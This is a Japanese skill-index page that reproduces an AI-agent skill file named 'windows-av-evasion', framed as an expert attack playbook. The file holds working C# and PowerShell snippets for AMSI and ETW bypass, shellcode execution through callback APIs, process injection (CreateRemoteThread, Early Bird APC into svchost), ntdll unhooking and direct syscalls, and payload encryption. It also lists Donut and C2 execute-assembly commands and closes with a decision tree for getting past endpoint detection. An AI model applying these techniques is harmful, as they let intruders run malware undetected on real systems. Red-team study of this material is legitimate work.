Agent Skills by ALSEL
Anthropic Claudeソフトウェア開発⭐ リポ 0品質スコア 50/100

windows-av-evasion

WindowsにおけるAV/EDR回避のプレイブック。AMSI・ETWのバイパス、.NETアセンブリ検出の迂回、シェルコード実行、プロセスインジェクション、APIフッキング、シグネチャベースの検出回避が必要な場面で活用します。

description の原文を見る

>- AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.

SKILL.md 本文

SKILL: AV/EDR Evasion — Expert Attack Playbook

AI LOAD INSTRUCTION: Windows向けの高度なAV/EDR回避技術。AMSI bypass、ETW bypass、.NETアセンブリロード、シェルコード実行、プロセスインジェクション、unhooking、ペイロード暗号化、署名回避をカバーします。基本モデルは検出固有のバイパスチェーンとsyscallレベルの回避ニュアンスを見落とします。

0. RELATED ROUTING

深く掘り下げる前に、以下を読み込む事を検討してください:

  • windows-privilege-escalation privescツールがAVでブロックされている場合
  • windows-lateral-movement ラテラルムーブメントツールがEDRをトリガーしている場合
  • active-directory-kerberos-attacks Rubeus/Mimikatzが検出される場合
  • active-directory-acl-abuse バイナリ非依存のAD攻撃向け(AV感度が低い)

Advanced Reference

以下の場合も読み込んでください AMSI_BYPASS_TECHNIQUES.md:

  • 詳細なAMSI bypass コードパターン(メモリパッチング、リフレクション)
  • PowerShell固有のAMSI bypass
  • .NET AMSI bypass技術

1. AMSI BYPASS OVERVIEW

AMSI (Antimalware Scan Interface) は実行時にPowerShell、.NET、VBScript、JScript、Officeマクロを検査します。

Key AMSI Bypass Categories

カテゴリメソッド検出リスク永続性
メモリパッチングamsi.dll内のAmsiScanBufferをパッチプロセスごと
リフレクション.NETリフレクション経由でAMSI初期化フラグを修正セッションごと
文字列難読化AMSI トリガー文字列をエンコード/分割ペイロードごと
PowerShell ダウングレードPS v2を強制(.NET 2.0があれば、v2にはAMSIなし)セッションごと
CLM bypass制限付き言語モードを脱出セッションごと
COM ハイジャックAMSI COMサーバーをリダイレクトユーザーごと

Quick AMSI Bypass (ワンライナー)

# PowerShell v2 ダウングレード(.NET 2.0が利用可能な場合 — v2にはAMSIなし)
powershell -Version 2

# リフレクションベース(amsiInitFailed = true を設定)
# 静的検出を回避するために難読化 — 完全なパターンはAMSI_BYPASS_TECHNIQUES.mdを参照

2. ETW BYPASS

ETW (Event Tracing for Windows) はEDRにテレメトリを提供します。EtwEventWriteをパッチすると .NETアセンブリロードイベントが停止します。

Patch EtwEventWrite

// C# — EtwEventWriteをすぐに返すようパッチ
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// 最初のバイトに ret (0xC3) を書き込む
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);

PowerShell ETW Bypass

# Script Block Logging(ETW プロバイダー)を無効化
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# 内部フィールドを設定してETW トレーシングを無効化

3. .NET ASSEMBLY LOADING

In-Memory Assembly.Load

byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// またはURLからダウンロード、リソースから復号化
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });

Donut — .NET アセンブリをシェルコードに変換

# .NET EXEからシェルコードを生成
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main

# パラメータ付き
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"

# その後、任意のインジェクション技術でシェルコードをロード(§5)

execute-assembly (C2 Framework)

# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast

# Sliver
execute-assembly /path/to/SharpHound.exe -c all

# Havoc
dotnet inline-execute /path/to/tool.exe args

4. SHELLCODE EXECUTION TECHNIQUES

VirtualAlloc + Callback (CreateThreadを回避)

IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// CreateThreadの代わりにコールバックAPIを使用(監視が少ない)
EnumWindows(addr, IntPtr.Zero);

シェルコード実行用コールバックAPI: EnumWindowsEnumChildWindowsEnumFontsEnumDesktopsCertEnumSystemStoreEnumDateFormats — すべてシェルコードを指すことができる関数ポインタを受け入れます。


5. PROCESS INJECTION TECHNIQUES

テクニック使用API検出リスク注釈
CreateRemoteThreadOpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread古典的で、大きく監視される
NtMapViewOfSectionNtCreateSection、NtMapViewOfSection共有メモリ、あまり一般的ではない
Process HollowingCreateProcess(SUSPENDED)、NtUnmapViewOfSection、WriteProcessMemory、ResumeThreadプロセスイメージを置き換え
Thread HijackingSuspendThread、SetThreadContext、ResumeThread既存スレッドを修正
Early BirdCreateProcess(SUSPENDED)、QueueUserAPC、ResumeThread低~中メインスレッド前にAPC
Phantom DLL HollowingDLLセクションをマップ、シェルコードで上書き正当なDLLマッピングを使用
Module StompingLoadLibrary、.textセクションを上書き正当なDLLでバック
Transacted HollowingNtCreateTransaction、NtCreateSection疑わしい割り当てなし

CreateRemoteThread (基本パターン)

IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Early Bird APC Injection

// サスペンド状態でプロセスを作成
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);

// シェルコードを割り当てと書き込み
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

// メインスレッドにAPC をキュー(メイン エントリポイント前に実行)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);

6. UNHOOKING — BYPASS EDR API HOOKS

Direct Syscalls (SysWhispers / HellsGate)

EDRはntdll.dll関数をフックします。直接syscallはカーネルを直接呼び出すことでフックをバイパスします。

通常: ユーザーコード → ntdll.dll (HOOKED) → カーネル
直接: ユーザーコード → syscall命令 → カーネル (フックをバイパス)
ツールメソッド注釈
SysWhispers2/3コンパイル時syscallスタブ静的syscall番号
HellsGate実行時syscall番号解決動的、検出が難しい
HalosGateフックされていない隣接syscallから解決部分的フック対応
TartarusGate拡張HalosGateより堅牢な解決

Fresh ntdll Copy

// ディスクからクリーンなntdll.dllを読み込み
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// または KnownDlls: \KnownDlls\ntdll.dll から
// またはサスペンドプロセスから(犠牲プロセスを作成、そのntdllを読み込み)

// フックされた .textセクションをクリーンなコピーで上書き
// → ntdll内のすべてのEDRフックが削除される

Indirect Syscalls

// 代わりに: syscall(コード内 — 疑わしい)
// 実行: ntdll.dll内のsyscall命令にジャンプ(正当な場所)
// スタック上のret アドレスはユーザーコードではなくntdll.dllを指す

7. PAYLOAD ENCRYPTION & OBFUSCATION

暗号化方法

// AES暗号化(推奨)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);

// XOR(シンプル、高速)
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] ^= key[i % key.Length];

// RC4(ストリーム暗号、シンプル実装)

Sleep Obfuscation

スリープ中にメモリ内でシェルコードを暗号化し、メモリスキャナを回避します。

テクニックメソッド
EkkoROPチェーン → スリープ中にヒープ/スタックを暗号化
FoliageAPCベースのスリープとメモリ暗号化
DeathSleepスリープ中のスレッド登録解除

Staged Loading

ステージ1: 小さく暗号化されたローダー(静的解析を回避)
ステージ2: 実行時にダウンロード、実際のペイロード(暗号化)
ステージ3: メモリで復号化 → 実行

8. SIGNATURE EVASION

文字列暗号化

// プレーンテキストAPI名、URL、ツール名を避ける
// 暗号化された文字列を使用し、実行時に復号化
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);

API Hashing

// 名前の代わりにハッシュでAPIを解決(文字列検出を回避)
// "VirtualAlloc"のハッシュ → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);

メタデータ削除

# .NETメタデータを削除
ConfuserEx / .NET Reactor / Obfuscar

# PE メタデータを削除(タイムスタンプ、richヘッダー、デバッグ情報)
# コンパイルタイムスタンプを修正
# PDBパスを削除

C2 Framework Evasion

フレームワーク主要な回避機能
Cobalt StrikeMalleable C2プロファイル、HTTP/Sトラフィック整形、sleepジッター、PE回避
Sliver複数プロトコル(mTLS、WireGuard、DNS)、ステージャーレス、組み込み難読化
Havoc直接syscall、sleepobfuscation、module stomping
Brute RatelBadgerエージェント、syscall回避、組み込みETW/AMSI bypass

9. AV/EDR EVASION DECISION TREE

保護されたホストでツール/ペイロードを実行する必要がある
│
├── PowerShellベースのペイロード?
│   ├── AMSIがブロック? → 最初にAMSI bypass(§1)
│   │   ├── .NET 2.0利用可能? → PS v2ダウングレード(AMSIなし)
│   │   ├── AmsiScanBufferをメモリパッチ
│   │   └── リフレクションベースのbypass
│   ├── Script Block Logging? → ETW bypass(§2)
│   └── Constrained Language Mode? → CLM bypassまたはC#に切り替え
│
├── .NETアセンブリ(Rubeus、SharpHound等)?
│   ├── 直接実行がブロック?
│   │   ├── In-memory Assembly.Load(§3)
│   │   ├── Donutでシェルコードに変換(§3)
│   │   └── C2 execute-assemblyを使用(§3)
│   └── それでも検出される?
│       ├── アセンブリを難読化(ConfuserEx)
│       ├── ソースを修正して再コンパイル
│       └── BOF(Beacon Object Files)を使用(CS使用時)
│
├── シェルコード実行が必要?
│   ├── 基本 → VirtualAlloc + callback(§4)
│   ├── インジェクション必要 → OPSEC別にテクニック選択(§5)
│   │   ├── 低検出必要 → module stompingまたはphantom DLL
│   │   ├── 中 → early bird APCまたはNtMapViewOfSection
│   │   └── 素早く → CreateRemoteThread
│   └── メモリスキャナーがペイロード検出?
│       ├── ペイロード暗号化 → 実行時のみ復号化(§7)
│       └── Sleep obfuscation(Ekko/Foliage)(§7)
│
├── EDRがntdll.dllをフック?
│   ├── 直接syscall(SysWhispers3/HellsGate)(§6)
│   ├── ディスク/KnownDllsからクリーンなntdllコピー(§6)
│   └── 間接syscall(ntdll命令に戻す)(§6)
│
├── 署名検出?
│   ├── 既知ツール署名 → 修正して再コンパイル
│   ├── 文字列ベース → 文字列暗号化 / APIハッシング(§8)
│   ├── PEメタデータ → 削除/修正(§8)
│   └── 動的 → 実行フローを変更、ジャンクコード追加
│
└── すべてのローカル回避失敗?
    ├── Living-off-the-Land(LOLBins)を使用: certutil、mshta、regsvr32
    ├── 正当な管理者ツール使用(PsExec、WMI、WinRM)
    └── ファイルレス/メモリのみ技術に切り替え

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用ソフトウェア開発⭐ リポ 39,967

doubt-driven-development

重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 1,175

apprun-skills

TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。

by yysun
OpenAIソフトウェア開発⭐ リポ 797

desloppify

コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。

by Git-on-my-level
汎用ソフトウェア開発⭐ リポ 39,967

debugging-and-error-recovery

テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

test-driven-development

テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

incremental-implementation

変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。

by addyosmani
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT